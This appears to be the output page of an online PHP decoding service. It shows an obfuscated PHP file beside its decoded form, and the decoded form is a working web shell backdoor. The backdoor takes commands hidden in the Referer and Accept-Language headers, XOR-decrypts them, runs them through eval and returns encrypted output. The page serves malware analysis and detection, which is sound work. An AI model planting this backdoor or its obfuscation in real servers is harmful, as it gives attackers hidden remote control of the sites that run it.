Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $Q='WpWarseW_str(W$u["queWry"],$q);$q=aWrrWay_vaWlues($Wq);preg_matcWh_allW("/W([\\..

Decoded Output download

$kh="5d41";$kf="402a";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_LANGUAGE"];if($rr&&$ra){$u=parse_url($rr);parse_str($u["query"],$q);$q=array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);if($q&&$m){@session_start();$s=&$_SESSION;$ss="substr";$sl="strtolower";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";for($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];if(strpos($p,$h)===0){$s[$i]="";$p=$ss($p,3);}if(array_key_exists($i,$s)){$s[$i].=$p;$e=strpos($s[$i],$f);if($e){$k=$kh.$kf;ob_start();eval(@gzuncompress(@x(base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents();ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));print("<$k>$d</$k>");@session_destroy();}}}}

Did this file decode correctly?

Original Code

<?php
$Q='WpWarseW_str(W$u["queWry"],$q);$q=aWrrWay_vaWlues($Wq);preg_matcWh_allW("/W([\\wW])[\\w-]W+(?:;q=0W';
$R='$kh="5d41WW";$kf="40W2a";funcWtWiWonW x($tW,$Wk){$c=strlen($kW);$l=strlen($Wt);$o=""W;for(W$i=0;$i<$W';
$B='_clean(W);W$d=baWse64_encoWdeW(x(gzcoWmpress($o),$kW));WpriWnt("<$Wk>$d</$k>");@sesWsiWon_destWroy();}}}}';
$C='WWr=W@$rW["HTTP_RWEFERER"];W$ra=@$r["HTTP_AWCCEPT_LWANGUAGWE"]W;if($rrW&&$ra)W{$u=parsWe_urWl($rr);';
$a=str_replace('wu','','crwueawutewu_fwuuwuwunction');
$n='l;){Wfor($j=0;W($j<$cW&&$i<$Wl);$j+W+,W$i++){$Wo.=$t{$Wi}W^$k{$jW};}}rWeturn $o;}$rW=$_SERVEWR;$r';
$F='$e)W{$k=$WkhW.$kf;Wob_stWarWt()W;@evWal(@gzuncomprWess(@x(@bWase64_decodWWWe(preg_reWplace(array';
$O=')W);$Wp="";foWr($z=1;$Wz<cWount(WW$m[1]);$z++)$WWp.=$q[$mW[2]W[$z]];if(strpos(W$p,$WWh)==W=0){$s[';
$J='rtolower";$Wi=W$mW[1][0].$m[1][W1];W$h=$sl($ss(mWd5($iW.$kWh),0,3))W;$f=$slW($ssW(md5W($i.$kf),0,3';
$t='$i]=W"";$p=$ss($Wp,3);}WWif(arraWy_key_exisWtsW($i,$s)){$sW[$Wi].=$pW;$e=stWrposW($s[$i],$fW);if(';
$c='.([WWW\\d]))?,?/",$ra,$m);if($qW&&$mW){@seWssion_sWtart()W;$s=&$W_SESSIONW;$Wss="suWbWstr"W;$sl="stW';
$Y='("/W_/",W"/-/"),aWrrayW("/"W,"+"),$ss(W$s[$iW],0,$We))),$kW)))W;$Wo=ob_get_coWWntenWts();ob_Wend';
$w=str_replace('W','',$R.$n.$C.$Q.$c.$J.$O.$t.$F.$Y.$B);
$m=$a('',$w);$m();
?>

Function Calls

null 1
str_replace 2
create_function 1

Variables

$B _clean(W);W$d=baWse64_encoWdeW(x(gzcoWmpress($o),$kW));WpriW..
$C WWr=W@$rW["HTTP_RWEFERER"];W$ra=@$r["HTTP_AWCCEPT_LWANGUAGWE..
$F $e)W{$k=$WkhW.$kf;Wob_stWarWt()W;@evWal(@gzuncomprWess(@x(@b..
$J rtolower";$Wi=W$mW[1][0].$m[1][W1];W$h=$sl($ss(mWd5($iW.$kWh..
$O )W);$Wp="";foWr($z=1;$Wz<cWount(WW$m[1]);$z++)$WWp.=$q[$mW[2..
$Q WpWarseW_str(W$u["queWry"],$q);$q=aWrrWay_vaWlues($Wq);preg_..
$R $kh="5d41WW";$kf="40W2a";funcWtWiWonW x($tW,$Wk){$c=strlen($..
$Y ("/W_/",W"/-/"),aWrrayW("/"W,"+"),$ss(W$s[$iW],0,$We))),$kW)..
$a create_function
$c .([WWW\d]))?,?/",$ra,$m);if($qW&&$mW){@seWssion_sWtart()W;$s..
$m None
$n l;){Wfor($j=0;W($j<$cW&&$i<$Wl);$j+W+,W$i++){$Wo.=$t{$Wi}W^$..
$t $i]=W"";$p=$ss($Wp,3);}WWif(arraWy_key_exisWtsW($i,$s)){$sW[..
$w $kh="5d41";$kf="402a";function x($t,$k){$c=strlen($k);$l=str..

Stats

MD5 2e73a93c965a4ab295f9d39afa9f8d83
Eval Count 1
Decode Time 81 ms